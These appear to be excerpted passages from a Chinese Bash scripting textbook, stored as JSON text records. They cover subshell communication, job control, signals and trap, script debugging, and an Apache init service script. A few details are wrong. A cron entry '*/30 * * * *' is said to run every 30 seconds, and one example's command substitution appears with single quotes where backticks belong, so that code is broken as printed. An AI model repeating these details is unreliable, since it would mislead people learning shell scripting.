    {"text": "【 例13-6 】演示通过临时文件在父子Shell之间传递数据，代码如下： 01 #----------------------------/chapter13/ex13-6.sh------------------ 02 #! /bin/bash 03 04 ( 05 # 在子 Shell 中定义变量 x 06 x=500 07 # 将变量 x 的值输出到临时文件 tmp 08 echo \"$x\" >tmp 09 ) 10 11 # 在父 Shell 中直接引用变量 x 的值 12 echo \"$x\" 13 # 从临时文件中读取变量 x 的值 14 read b <tmp 15 16 echo \"$b\" 在上面的代码中，第4～9行是圆括号结构，将在子Shell中执行。"},
    {"text": "【 例13-7 】演示使用命名管道实现向父shell传递数据的方法，代码如下： 01 #----------------------------/chapter13/ex13-7.sh------------------ 02 #! /bin/bash 03 04 # 创建名称为 fifo 的命名管道 05 if [ ! -e fifo ];then 06 mkfifo fifo 07 fi 08 09 # 子 Shell 10 ( 11 x=500 12 # 将变量 x 的值输出到管道 13 echo \"$x\" > fifo 14 )& 15 # 从管道中读取数据 16 read y <fifo 17 18 echo \"$y\" 在上面的代码中，第5～7行判断命名管道fifo是否存在，如果不存在，则创建该管道。"},
    {"text": "当用户在某个Shell脚本中调用另外一个脚本时，被调用的脚本会在子Shell中执行。 但是，用户可以通过圆点命令和source命令来执行脚本，使得被调用的脚本在当前Shell进程中执行。"},
    {"text": "【 例13-8 】演示两个脚本之间传递数据的方法，其中output.sh的代码如下： 01 #----------------------------/chapter13/output.sh------------------ 02 #! /bin/bash 03 04 # 输出变量 message 的值 05 echo \"$message\" 从上面的代码可以得知，output.sh的功能非常简单，只是输出变量message的值。"},
    {"text": "脚本ex13-8.sh的代码如下： 01 #----------------------------/chapter13/ex13-8.sh------------------ 02 #! /bin/bash 03 04 # 定义变量 message ，并赋予初始值 05 message=\"Hello world.\" 06 07 # 使用 source 命令调用脚本 08 source ./output.sh 在上面的代码中，第5行定义了名称为message的变量，第8行使用source命令调用output.sh脚本。"},
    {"text": "[root@linux chapter13]# ./ex13-8.sh Hello world. 从上面的执行结果可以得知，尽管变量在ex13-8.sh脚本中定义，但是仍然可以在output.sh脚本中访问。 之所以会这样，是因为在第8行中使用source命令调用output.sh脚本，这使得output.sh脚本与ex13-8.sh脚本在同一个Shell进程中执行，所以两者的变量可以相互访问。"},
    {"text": "除了上面介绍的临时文件和命名管道之外，还有许多方法可以实现子Shell向父Shell传递数据，例如命令替换和使用eval命令等，读者可以根据自己的实际情况来选择适当的通信机制。"},
    {"text": "进程是指在自身的虚拟地址空间运行的一个单独的程序，是程序执行的基本单元。 进程会利用处理器资源、内存资源，并且进行各种I/O操作，从而完成某项指定的任务。"},
    {"text": "在这种情况下，系统管理员可以编写一个脚本来监控Web服务器进程是否存在，如果不存在，则重新启动该服务进程。 【 例13-9 】演示Web服务器监控脚本的编写方法，代码如下： 01 #----------------------------/chapter13/ex13-9.sh------------------ 02 #!/bin/bash 03 04 #Apache httpd 进程监控 shell 05 06 # 启动服务命令 07 RESTART=\"/sbin/service httpd start\" 08 09 #pgrep 命令路径 10 PGREP=\"/usr/bin/pgrep\" 11 12 #Apache Web 服务器的进程名称 13 HTTPD=\"httpd\" 14 15 # 查找 httpd 进程 16 $PGREP ${HTTPD} &>/dev/null 17 # 如果没有找到，则重新启动服务 18 if [ $? -ne 0 ] 19 then 20 $RESTART 21 fi 在上面的代码中，第7行定义了重新启动Apache Web访问进程的命令；"},
    {"text": "第16行使用pgrep命令判断Apache Web服务进程是否存在，其中的重定向是为了避免pgrep命令输出信息。 第18行通过系统变量$?判断第16行的pgrep命令是否执行成功，如果不等于0，则表示不存在Apache Web服务进程，从而在第20行启动该服务进程。"},
    {"text": "为了能够周期性地检查Apache Web服务的进程是否存在，用户可以使用crontab任务计划来定期执行上面的脚本，代码如下： */30 * * * * /root/chapter13/ex13-9.sh >/dev/null 2>&1 以上代码表示每30秒钟执行一次/root/chapter13/ex13-9.sh脚本。"},
    {"text": "一般来说，作业是针对用户而言的，是用户为了完成某项任务而启动的进程，一个作业可以包含一个进程，也可以包含多个进程，这些进程之间相互协作，共同完成任务。"},
    {"text": "例如，下面的一组名称可以称为一个作业，其功能是在ls命令的手册中查找包含long字符串的文本行，然后将匹配结果传递给more命令，代码如下： [root@linux chapter13]# man ls | grep long | more Mandatory arguments to long options are mandatory for short options across -x, commas -m, horizontal -x, long -l, single-column -1, in a long listing, don’t print group names -l use a long listing format with -l, show times using style STYLE: full-iso, long-iso, iso, 尽管上面的一组命令构成了一个作业，但是实际上Shell会启动3个进程，分别执行man、grep及more命令。"},
    {"text": "【 例13-10 】演示将进程进行前后台切换的方法，代码如下： 01 #---------------------------/chapter13/ex13-10.sh------------------ 02 #! /bin/bash 03 04 # 使得当前进程休眠 10 秒钟 05 sleep 10 上面的代码比较简单，其中第5行使用sleep命令使当前进程休眠10秒钟。"},
    {"text": "sleep命令的功能是使进程休眠指定的时间，其基本语法如下： sleep number[suffix] 其中，参数number表示要休眠的时间长度，参数suffix表示时间单位，默认为秒，可以是秒、分钟、小时及天等，这些时间单位分别使用s、m、h及d等字母表示。"},
    {"text": "在命令行中输入以下命令执行ex13-10.sh： [root@linux chapter13]# ./ex13-10.sh & [1] 28426 当用户输入以上命令，并且按回车键之后，Shell会将脚本放在后台执行，并且立即返回两个数字，其中方括号中的数字为作业号，后面的数字为执行脚本的进程ID。"},
    {"text": "在执行前台作业的时候，用户可以通过组合键Ctrl+Z使当前的作业挂起，例如，用户在命令行中输入以下命令： [root@linux chapter13]# vi demo.sh 当按回车键之后，Shell会调用vi编辑器，出现一个全屏编辑窗口。"},
    {"text": "此时，Shell会给出以下提示信息： [1]+ Stopped vi demo.sh [root@linux chapter13]# 以上信息告诉用户，作业号为1的作业已经被挂起，其命令为vi demo.sh。"},
    {"text": "当用户处理完其他任务之后，可以使用fg命令将后台执行的作业切换到前台执行，如下： [root@linux chapter13]# fg fg是一个内部命令，其作用是将后台的作业移至前台执行，其基本语法如下： fg [jobspec] 在上面的语法中，参数jobspec用来指定要切换的作业，可以是作业号或者是作业的命令名称等。"},
    {"text": "表13-3 fg命令中指定作业的方法 方 法 说 明 %n n为整数，表示作业号 %string 以字符串string开头的命令所对应的作业 %?string 包含字符串string的命令所对应的作业 %+或者%% 最近提交的一个作业 %- 倒数第2个提交的作业 例如，以下命令将以字符串vi开头的命令所对应的作业移至前台： [root@linux chapter13]# fg %vi 前台作业和后台作业在功能上并没有什么不同。"},
    {"text": "Shell提供了另外一个内部命令jobs，用来查看正在后台执行的作业的列表，其基本语法如下： jobs [options] 其中，options表示jobs命令的选项，常用的选项有-l和-p，前者显示作业的详细信息，后者只显示作业的进程ID。 例如，下面的jobs命令列出当前用户的所有后台作业： [root@linux chapter13]# jobs [1] Stopped vi demo.sh [2]- Stopped vi demo1.sh [3]+ Stopped vi demo2.sh 通过上面的结果，可以得知当前用户有3个后台作业在执行。 默认情况下，jobs命令的输出结果包含3列，第1列为作业号，如果在某个作业号后面有一个加号+，则表示当前作业为默认作业。"},
    {"text": "另外，在上面的输出结果中，编号为2的作业号后面有一个减号-，该符号表示当前作业为即将成为默认作业的作业。 也就是说，当含有+符号的作业退出之后，含有-符号的做作业将成为默认作业。 对于其他的作业，作业号后面是一个空格。"},
    {"text": "表13-4 作业状态 状 态 说 明 Running 该作业并没有被挂起，而是正在运行 Done 该作业已经完成并返回退出状态码0 Done (code) 该作业已经正常完成和退出，并返回指定的非0退出状态码code。"},
    {"text": "状态码使用十进制表示 Stopped 该作业被挂起 用户可以使用disown命令来删除作业列表中的作业，该命令的基本语法如下： disown [jobspec ...] 在上面的语法中，参数jobspec表示要从列表中删除的作业。"},
    {"text": "首先执行3个vi命令，并且使其在后台执行，代码如下： [root@linux chapter13]# vi demo.sh & [1] 30880 [root@linux chapter13]# vi demo1.sh & [2] 30881 [1]+ Stopped vi demo.sh [root@linux chapter13]# vi demo2.sh & [3] 30890 [2]+ Stopped vi demo1.sh [root@linux chapter13]# jobs [1] Stopped vi demo.sh [2]- Stopped vi demo1.sh [3]+ Stopped vi demo2.sh 通过最后的jobs命令，可以得知当前有3个作业被挂起。"},
    {"text": "接下来的命令将1号作业删除，代码如下： [root@linux chapter13]# disown %1 -bash: warning: deleting stopped job 1 with process group 30880 [root@linux chapter13]# jobs [2]- Stopped vi demo1.sh [3]+ Stopped vi demo2.sh 在上面的命令中，disown使用%1作为参数。 执行完该命令之后，Shell给出一条警告信息，告诉用户1号作业已经被删除。"},
    {"text": "在Linux系统中，用户可以通过kill命令给某个进程发送一个特定的信号，也可以通过键盘发送一些信号，比如组合键CTRL+C可能触发SIGINT信号，而组合键CTRL+\\可能触发SIGQUIT信号等。 绝大部分的系统都预定义了一些信号，用户可以通过kill命令的-l选项来列出当前系统支持的信号，代码如下： [root@linux chapter13]# kill -l 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM 16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP 21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ … 注意： 用户还可以通过man 7 signal命令查看有关信号的帮助手册。"},
    {"text": "表13-5 常用信号及其涵义 信 号 值 涵义 SIGHUP 1 终端挂起或者控制进程终止 SIGINT 2 键盘中断 SIGQUIT 3 键盘的退出键被按下 SIGABRT 6 由abort(3)发出的退出指令 SIGKILL 9 立即结束进程 表13-5只列出了最常用的几个信号，关于其他的信号，读者可以参考Linux的帮助手册。 对于管理员来说，最常用的信号是SIGKILL，该信号用来立即结束进程的运行。"},
    {"text": "kill的基本语法如下： kill [-s signal|-p] [--] pid... 在上面的语法中，-s选项用来指定要发送的信号，-p选项表示只是打印指定名称的进程的进程ID，不发送信号，参数pid表示某个特定的进程ID。"},
    {"text": "首先使用jobs命令列出当前的作业列表，如下： [root@linux chapter13]# jobs [2]- Stopped vi demo1.sh [3]+ Stopped vi demo2.sh [root@linux chapter13]# jobs -p 30881 30890 由于kill需要指定进程ID，所以还要使用jobs命令的-p选项输出作业的进程ID。 现在想要删除进程ID为30881的作业，可以使用以下命令： [root@linux chapter13]# kill -s 9 30881 以上命令表示向进程ID为30881的进程发送值为9的信号，即SIGKILL信号。 执行完以上命令之后，再次使用jobs命令查看作业列表，代码如下： [root@linux chapter13]# jobs [2]- Killed vi demo1.sh [3]+ Stopped vi demo2.sh [root@linux chapter13]# jobs [3]+ Stopped vi demo2.sh 从上面的执行结果可以得知，2号作业的状态为Killed，表示该作业已经退出。"},
    {"text": "在Shell程序中，用户可以通过trap命令来设定响应某个信号的动作。 trap是一个内部命令，其基本语法如下： trap [[arg] sigspec ...] 在上面的语法中，参数arg表示信号响应操作的函数，sigspec表示特定的信号。 【 例13-11 】演示trap命令的使用方法，代码如下： 01 #---------------------------/chapter13/ex13-11.sh------------------ 02 #! /bin/bash 03 04 # 定义响应函数 05 function signal_handler { 06 echo \"Good bye.\" 07 } 08 09 # 绑定响应函数 10 trap signal_handler 0 在上面的代码中，第5～7行定义了响应信号的函数，该函数比较简单，只是输出一行消息。"},
    {"text": "该程序的执行结果如下： [root@linux chapter13]# ./ex13-11.sh Good bye. 13.3 小结 本章详细介绍了子Shell以及进程和作业管理，主要包括什么是子Shell、内部命令、外部命令、圆括号结构、子Shell中的变量作用域、把子Shell中的变量值传回父Shell、什么是进程、创建单进程脚本、作业控制，以及信号与trap命令。 重点在于掌握子Shell的基本概念、什么情况下会使用子Shell、子Shell的变量及其作用域、父子Shell的数据传递，以及作业的控制等相关知识。"},
    {"text": "14.1 Shell脚本中的常见错误 实际上，编写Shell脚本的过程就是不断排除错误的过程。 尤其对于初学者来说，由于不熟悉Shell脚本的语法，会经常出现一些意想不到的错误。 本节列出了Shell程序设计中经常出现的错误，从而使读者在编程时可以避免这些错误的发生。 14.1.1 常见语法错误 对于学习程序设计的读者来说，语法错误可能是最常见的错误。 所谓语法错误，是指用户所编写的程序中的语句或者关键字等存在错误，使得程序无法执行。"},
    {"text": "因为尽管这些是不同的Shell，但是其功能却是大同小异，因此，只要掌握好一种Shell的语法就可以完成自己的任务。 而且，作为系统管理员，在进行系统维护的时候，熟悉一种Shell就可以了。"},
    {"text": "【 例14-1 】给出了一种常见的语法错误，代码如下： 01 #----------------------------/chapter14/ex14-1.sh------------------ 02 #! /bin/bash 03 04 # 定义循环变量 05 n=1 06 #while 循环开始 07 while [[ $n -le 5 ]]; 08 echo \"the numberis $n.\" 09 let \"n+=1\" 10 done 在上面的代码中，第5行定义并初始化一个循环变量n，第7～10行是while循环结构，其功能是输出循环变量的值。"},
    {"text": "在该程序执行的时候，会出现以下错误： [root@linux chapter14]# ./ex14-1.sh ./ex14-1.sh: line 10: syntax error near unexpected token 'done' ./ex14-1.sh: line 10: 'done' 上面的错误信息告诉用户，在程序的第10行意外地出现了一个关键字done。"},
    {"text": "从上面的例子可以得知，尽管Shell给出的错误消息中出现问题的是第10行，但是实际上第10行并没有错误，出现错误的是第7行和第8行之间漏掉了do关键字。"},
    {"text": "在上面代码中的第7行和第8行之间补充了do关键字之后，程序代码如下： 01 #---------------------------/chapter14/ex14-1a.sh------------------ 02 #! /bin/bash 03 04 # 定义循环变量 05 n=1 06 #while 循环结构 07 while [[ $n -le 5 ]]; 08 do 09 echo \"the numberis $n.\" 10 let \"n+=1\" 11 done 用户可以在所配光盘中的chapter14目录中的ex14-1a.sh文件中查看具体代码。 修改完成以后，ex14-1a.sh的执行结果如下： [root@linux chapter14]# ./ex14-1.sh the numberis 1. the numberis 2. the numberis 3. the numberis 4. the numberis 5. 从上面的执行结果可以得知，程序已经能够正确运行，并且输出了所希望的结果。"},
    {"text": "【 例14-2 】演示在if语句中由于缺少空格而导致错误发生，代码如下： 01 #----------------------------/chapter14/ex14-2.sh------------------ 02 #! /bin/bash 03 04 while : 05 do 06 # 接收用户输入数据 07 read x 08 # 如果用户输入的字符串为 exit ，则退出程序 09 if [ $x == \"exit\"]; then 10 exit 0 11 else 12 echo \"$x\" 13 fi 14 done 上面的程序功能是不断接收用户输入的数据，然后直接输出到屏幕。"},
    {"text": "该程序的执行结果如下： [root@linux chapter14]# ./ex14-2.sh abc ./ex14-2.sh: line 9: [: missing ']' abc … 从上面的执行结果可以得知，代码的第9行存在着语法错误。"},
    {"text": "在4.1节中介绍条件测试的时候已经讲过，左方括号是一个Shell命令，命令与参数之间至少有一个空格，因此，第9行的条件测试中，表达式与左右方括号之间必须保留一个空格。"},
    {"text": "在第9行的右方括号前面插入一个空格之后，代码如下： 01 #---------------------------/chapter14/ex14-2a.sh------------------ 02 #! /bin/bash 03 04 while : 05 do 06 # 接收用户输入数据 07 read x 08 # 如果用户输入的字符串为 exit ，则退出程序 09 if [ $x == \"exit\" ]; then 10 exit 0 11 else 12 echo \"$x\" 13 fi 14 done 以上代码请参见所配光盘中的chapter14目录中的ex14-2a.sh，其执行结果如下： [root@linux chapter14]# ./ex14-2a.sh abc abc exit [root@linux chapter14]# 从上面的输出结果可以得知，程序已经可以正常运行。"},
    {"text": "【 例14-3 】演示了Shell编程中经常遇到的一种逻辑错误，代码如下： 01 #----------------------------/chapter14/ex14-3.sh------------------ 02 #! /bin/bash 03 04 # 定义变量 x 05 x=1 06 # 当变量 x 的值为 1 时 07 if [ x == 1 ]; then 08 echo \"x=1\" 09 # 当变量 x 的值为 0 时 10 elif [ x == 0 ]; then 11 echo \"x=0\" 12 # 其他情况 13 else 14 echo \"other\" 15 fi 在上面的代码中，第5行定义变量x，并赋初值为1。"},
    {"text": "下面首先看一下程序的执行结果，如下： [root@linux chapter14]# ./ex14-3.sh other 从上面的执行结果可以得知，Shell并没有给出任何错误提示信息，这意味着程序没有语法错误。"},
    {"text": "仔细分析这两条语句之后，就会发现其中的条件表达式x==1和x==0并没有使用$符号来引用变量的值，其结果就是第7行和第10行的条件测试都不成立，程序跳到第13行的else语句中执行。 找到原因之后，分别对第7行和第10行进行修改，代码如下： 01 #---------------------------/chapter14/ex14-3.sh------------------ 02 #! /bin/bash 03 04 # 定义变量 x 05 x=1 06 # 当变量 x 的值为 1 时 07 if [ $x == 1 ]; then 08 echo \"x=1\" 09 # 当变量 x 的值为 0 时 10 elif [ $x == 0 ]; then 11 echo \"x=0\" 12 # 其他情况 13 else 14 echo \"other\" 15 fi 修改完成之后，程序的执行结果如下： [root@linux chapter14]# ./ex14-3.sh x=1 注意： 逻辑错误非常常见，并且不易被察觉，因此，当编写完脚本之后，一定要反复检查，确保没有逻辑错误。"},
    {"text": "14.2 Shell脚本调试技术 任何一个Shell开发者，都必须掌握所需要的调试技术，对于初学者来说，这显得尤为重要。 因为在编写Shell脚本的时候，经常会遇到各种各样的错误，通过调试技术，可以快速地排除错误。 本节将介绍Shell编程中经常使用的几种调试技术。 14.2.1 使用echo命令调试脚本 echo命令是Shell编程中最简单的调试技术。"},
    {"text": "当用户需要验证程序中某个变量的值时，就可以直接使用echo命令将该变量的值输出到屏幕。 【 例14-4 】演示通过echo命令来调试程序的方法，代码如下： 01 #----------------------------/chapter14/ex14-4.sh------------------ 02 #! /bin/bash 03 04 # 定义变量 a 05 a=1 06 # 当 a 的值等于 1 时 07 if [ \"$a\" -eq 1 ] 08 then 09 b=2 10 else 11 b=1 12 fi 13 c=3 上面的代码比较简单，第5行定义变量a，第7～12行根据变量a的值为变量b赋值。"},
    {"text": "为了验证这3个变量的值是否正确，用户可以在程序的最后加入3行echo语句，如下： 01 #! /bin/bash 02 03 # 定义变量 a 04 a=1 05 # 当 a 的值等于 1 时 06 if [ \"$a\" -eq 1 ] 07 then 08 b=2 09 else 10 b=1 11 fi 12 c=3 13 14 echo \"a=$a\" 15 echo \"b=$b\" 16 echo \"c=$c\" 修改以后的【例14-4】的执行结果如下： [root@linux chapter14]# ./ex14-4.sh a=1 b=2 c=3 从上面的执行结果可以得知，变量a、b以及c都获得了正确的值。"},
    {"text": "尽管使用echo命令输出变量的值非常方便，但是，如果在程序中加入了大量的echo语句，当程序正式发布的时候，还需要将这些多余的echo语句删掉，这样还是非常麻烦。"},
    {"text": "14.2.2 使用trap命令调试Shell脚本 前面已经讲过，trap命令可以捕获指定的信号，并且执行预定的命令，其基本语法如下： trap 'command' signal 其中，参数command表示捕获指定的信号后要执行的命令，而参数signal表示指定的信号。"},
    {"text": "在Shell脚本执行的时候，会产生3个所谓的伪信号，分别为EXIT、ERR以及DEBUG。 其中，EXIT信号在退出某个函数或者某个脚本执行完成时触发，ERR信号在某条命令返回非0状态时触发，DEBUG信号在脚本的每一条命令执行之前触发。 注意： 之所以称为伪信号，是因为这三个信号是由Shell产生的，而其他的信号是由操作系统产生的。"},
    {"text": "【 例14-5 】演示使用trap命令输出发生错误的行号以及退出状态码，代码如下： 01 #----------------------------/chapter14/ex14-5.sh------------------ 02 #! /bin/bash 03 04 # 定义信号处理函数 05 ERRTRAP() 06 { 07 echo \"[LINE:$1] Error:Command or function exited with status code $?\" 08 } 09 # 定义函数 10 func() 11 { 12 # 返回值为 1 13 return 1 14 } 15 16 # 使用 trap 命令捕获 ERR 信号 17 trap 'ERRTRAP $LINENO' ERR 18 # 调用错误的命令 19 abc 20 # 调用函数 21 func 在上面的代码中，第5～18行定义了信号处理函数，在该函数中，使用位置变量$1获取用户传递给函数的参数，使用系统变量$?获取上一个命令的退出状态码。"},
    {"text": "第17行使用trap命令捕获ERR信号，并且将前面定义的ERRTRAP()函数作为ERR信号被触发时的响应函数，传递给ERRTRAP()函数的参数为Shell内置变量$LINENO，该变量代表当前执行的行号。"},
    {"text": "该程序的执行结果如下： [root@linux chapter14]# ./ex14-5.sh ./ex14-5.sh: line 18: abc: command not found [LINE:18] Error:Command or function exited with status code 127 [LINE:20] Error:Command or function exited with status code 1 从上面的执行结果可以得知，trap命令一共捕获了两次错误信号，第1次错误出现在第19行，其退出状态码为127，第2次出现在第21行，其退出状态码为1。"},
    {"text": "【 例14-6 】演示通过捕获DEBUG信号来进行程序调试的方法，代码如下： 01 #----------------------------/chapter14/ex14-6.sh------------------ 02 #! /bin/bash 03 04 # 捕获 DEBUG 信号 05 trap 'echo \"before execute line:$LINENO,a=$a,b=$b,c=$c\"' DEBUG 06 07 # 定义变量 a 08 a=1 09 # 根据变量 a 的值初始化变量 b 10 if [ \"$a\" -eq 1 ] 11 then 12 b=2 13 else 14 b=1 15 fi 16 # 定义变量 c 17 c=3 18 19 echo \"end\" 在上面的代码中，第5行使用trap命令捕获了DEBUG信号，其中，信号的响应命令为一条echo命令，用来输出行号，以及a、b和c这3个变量的值。 该程序的执行结果如下： [root@linux chapter14]# ./ex14-6.sh before execute line:7,a=,b=,c= before execute line:9,a=1,b=,c= before execute line:11,a=1,b=,c= before execute line:16,a=1,b=2,c= before execute line:18,a=1,b=2,c=3 end 从上面的执行结果，可以清晰地看到每条命令执行后，3个变量的值的变化。"},
    {"text": "注意： 并不是每条语句都会触发DEBUG信号，【例14-6】中的注释、空行、trap命令本身、then语句、else语句，以及fi等语句都不会触发DEBUG信号。"},
    {"text": "14.2.3 使用tee命令调试Shell脚本 在普通的语句中，用户使用echo和trap命令就可以非常轻松地完成调试，但是对于管道或者重定向来说，使用上面两种方法就显得心有余而力不足，因为在管道的作用下，一些命令的输出结果将会直接成为下一个命令的输入，中间结果并不会显示在屏幕上，因此给程序调试带来了困难。"},
    {"text": "【 例14-7 】本实例的功能是将当前目录中的文件名全部转换为大写字母，代码如下： 01 #----------------------------/chapter14/ex14-7.sh------------------ 02 #! /bin/bash 03 04 # 将文件名转换为大写 05 list='ls -l | awk '{print toupper($7)}'' 06 07 echo \"$list\" 在上面的代码中，第5行首先使用ls –l命令列出当前目录中的文件，然后通过awk命令的toupper()函数将第7个字段转换为大写。"},
    {"text": "此时tee命令就可以派上用场了，将【例14-7】的代码修改如下： 01 #! /bin/bash 02 03 # 将文件名转换为大写 04 list='ls -l | tee list.txt | awk '{print toupper($7)}''' 05 06 echo \"$list\" 实际上，上述代码只是在【例14-7】的第5行的ls–l命令与awk命令之间插入了一个tee命令，该命令将ls命令的执行结果输出到list.txt文件。 修改完成之后，再次执行ex14-7.sh，其结果如下： [root@linux chapter14]# ./ex14-7.sh 14 14 14 14 14 16 16 17 19 19 [root@linux chapter14]# cat list.txt total 36 -rwxr-xr-x 1 root root 83 Apr 14 16:31 ex14-1a.sh -rwxr-xr-x 1 root root 87 Apr 14 18:50 ex14-1b.sh -rwxr-xr-x 1 root root 90 Apr 14 18:58 ex14-1.sh -rwxr-xr-x 1 root root 112 Apr 14 19:28 ex14-2.sh … 从上面的执行结果可以得知，插入tee命令之后，程序的执行结果仍然会输出到屏幕上。"},
    {"text": "所以将【例14-7】中的第5行的$7修改为$9，如下： list='ls -l | tee list.txt | awk '{print toupper($9)}''' 然后再次执行ex14-7.sh，其结果如下： [root@linux chapter14]# ./ex14-7.sh EX14-1A.SH EX14-1B.SH EX14-1.SH EX14-2.SH EX14-3.SH … 经过修改之后，【例14-7】已经能够输出正确的结果了。"},
    {"text": "14.2.4 使用调试钩子调试Shell脚本 在许多程序设计语言中，用户在调试程序的时候都可以设定一个开关变量，当该变量的值为真时，才输出调试信息；"},
    {"text": "【 例14-8 】演示使用调试钩子调试程序的方法，代码如下： 01 #----------------------------/chapter14/ex14-8.sh------------------ 02 #! /bin/bash 03 04 # 定义调试开关 05 export DEBUG=true 06 07 # 调试函数 08 DEBUG() 09 { 10 if [ \"$DEBUG\" == \"true\" ];then 11 $@ 12 fi 13 } 14 15 a=1 16 # 调用调试函数 17 DEBUG echo \"a=$a\" 18 19 if [ \"$a\" -eq 1 ] 20 then 21 b=2 22 else 23 b=1 24 fi 25 # 调用调试函数 26 DEBUG echo \"b=$b\" 27 c=3 28 # 调用调试函数 29 DEBUG echo \"c=$c\" 在上面的代码中，第5行定义变量DEBUG，并且将其值设置为true。"},
    {"text": "第8～13行定义了一个名称为DEBUG()的函数。 在该函数中，根据变量DEBUG的值来决定是否执行传递给它的参数。 实际上，传递给DEBUG()函数的参数为echo语句。 第17行调用DEBUG()函数，并且将一条echo语句传递给它。"},
    {"text": "该程序的执行结果如下： [root@linux chapter14]# ./ex14-8.sh a=1 b=2 c=3 从上面的执行结果可以得知，因为开关变量DEBUG的值为true，所以输出了相应的调试信息。"},
    {"text": "通过脚本管理Apache服务器日志：主要介绍Apache及日志文件、如何编写备份文件名生成函数、旧日志搜索函数、日志备份函数、删除旧日志，以及定时运行脚本等。"},
    {"text": "15.1 编写系统服务脚本 在进行系统管理的时候，一般都需要用到系统服务脚本。 通过编写服务脚本，可以使得系统服务的管理更加便利，更加规范。"},
    {"text": "在本节中，将介绍Linux的系统启动过程和初始化过程，并且以MySQL服务脚本为例，来说明系统服务脚本的编写方法。 15.1.1 系统启动过程 从大的方面来讲，Linux系统的启动过程如图15-1所示。 当一个Linux系统启动的时候，首先是用户按下电源，接着电脑加电，然后执行BIOS中的固件程序，完成系统硬件的自检。"},
    {"text": "图15-1 Linux启动过程 当Linux内核加载完成之后，便执行/sbin/init程序，创建系统中的第一个进程。 init进程的进程ID为1，是Linux系统中所有进程的父进程。 init进程会读取/etc/inittab、/etc/init/rc.conf以及/etc/init/rcS.conf等文件，执行一系列的初始化操作。"},
    {"text": "15.1.2 运行级别 所谓运行级别，是指UNIX或者Linux等类UNIX操作系统的不同运行模式。 在不同的运行级别下，用户可以执行相应的操作，例如运行级别1表示单用户模式，在这种运行级别下，只允许root用户登录，不启动网络服务。 运行级别的概念只用于System V流派的UNIX系统以及Linux系统，对于BSD流派的UNIX系统则不使用运行级别的概念。"},
    {"text": "1：单用户模式，不启用网络，不启动各种服务，只允许root用户登录进行维护。 2：多用户模式，不启用网络，不启动各种服务。 3：多用户模式，除图形界面之外，各种网络服务都可以使用。"},
    {"text": "在Linux系统中，各个运行级别下面需要启动或者停止的服务的脚本都位于特定的目录中，这些目录都位于/etc目录中，其名称为/etc/rc0.d～/etc/rc6.d，分别对应上面7个运行级别。 下面列出的是运行级别3所对应的目录下面的部分脚本文件列表： [root@linux rc0.d]# ll /etc/rc3.d/ total 0 lrwxrwxrwx 1 root root 20 Apr 6 13:48 K01certmonger -> ../init.d/certmonger lrwxrwxrwx 1 root root 15 Apr 6 13:48 K01numad -> ../init.d/numad lrwxrwxrwx 1 root root 16 Apr 6 13:59 K01smartd -> ../init.d/smartd … lrwxrwxrwx 1 root root 17 Mar 9 15:31 S01sysstat -> ../init.d/sysstat lrwxrwxrwx 1 root root 22 Apr 6 13:48 S02lvm2-monitor -> ../init.d/lvm2-monitor lrwxrwxrwx 1 root root 18 Apr 6 13:48 S05cgconfig -> ../init.d/cgconfig … 从上面的输出可以得知，/etc/rc3.d中的脚本文件实际上是/etc/init.d目录中的相应脚本文件的符号链接。"},
    {"text": "这些符号链接的命名有着特定的规则，如果文件名的首字符为大写字母K，表示将要传递stop参数给脚本，以停止该服务。 如果文件名的首字符为S，则表示将要传递start参数给脚本，以启动该服务。"},
    {"text": "15.1.3 服务脚本的基本语法 在Linux系统中，服务脚本有固定的语法，通常情况下，服务脚本应该包括处理服务启动、服务停止、服务重新启动，以及查看服务状态的函数。 另外，服务脚本还可以接受某些特定的参数，例如start、stop，以及restart等，并且根据这些参数调用不同的函数。"},
    {"text": "01 # 在当前 Shell 中执行定义公共函数的脚本 02 . /etc/rc.d/init.d/functions 03 04 05 #Apache 各组件的路径 06 apachectl=/usr/sbin/apachectl 07 httpd=${HTTPD-/usr/sbin/httpd} 08 prog=httpd 09 pidfile=${PIDFILE-/var/run/httpd/httpd.pid} 10 lockfile=${LOCKFILE-/var/lock/subsys/httpd} 11 12 # 脚本执行结果 13 RETVAL=0 14 # 停止服务的超时时间 15 STOP_TIMEOUT=${STOP_TIMEOUT-10} 16 17 # 定义启动服务的函数 18 start() { 19 echo -n $\"Starting $prog: \" 20 LANG=$HTTPD_LANG daemon --pidfile=${pidfile} $httpd $OPTIONS 21 RETVAL=$? 22 echo 23 [ $RETVAL = 0 ] && touch ${lockfile} 24 return $RETVAL 25 } 26 27 # 定义停止服务的函数 28 stop() { 29 echo -n $\"Stopping $prog: \" 30 killproc -p ${pidfile} -d ${STOP_TIMEOUT} $httpd 31 RETVAL=$? 32 echo 33 [ $RETVAL = 0 ] && rm -f ${lockfile} ${pidfile} 34 } 35 # 定义重新加载配置文件的函数 36 reload() { 37 echo -n $\"Reloading $prog: \" 38 if ! LANG=$HTTPD_LANG $httpd $OPTIONS -t >&/dev/null; then 39 RETVAL=6 40 echo $\"not reloading due to configuration syntax error\" 41 failure $\"not reloading $httpd due to configuration syntax error\" 42 else 43 # Force LSB behaviour from killproc 44 LSB=1 killproc -p ${pidfile} $httpd -HUP 45 RETVAL=$? 46 if [ $RETVAL -eq 7 ]; then 47 failure $\"httpd shutdown\" 48 fi 49 fi 50 echo 51 } 52 53 # 根据用户传递的参数执行不同的操作 54 case \"$1\" in 55 # 启动服务 56 start) 57 start 58 ;; 59 # 停止服务 60 stop) 61 stop 62 ;; 63 # 查看服务状态 64 status) 65 status -p ${pidfile} $httpd 66 RETVAL=$? 67 ;; 68 # 重新启动服务 69 restart) 70 stop 71 start 72 ;; 73 # 强制重新启动 74 force-reload|reload) 75 reload 76 ;; 77 # 处理其他情况 78 *) 79 echo $\"Usage: $prog {start|stop|restart|condrestart| try-restart|force-reload|reload|status|fullstatus|graceful|help|configt est}\" 80 RETVAL=2 81 esac 82 83 exit $RETVAL 上面给出的代码是一个比较规范的服务脚本。"},
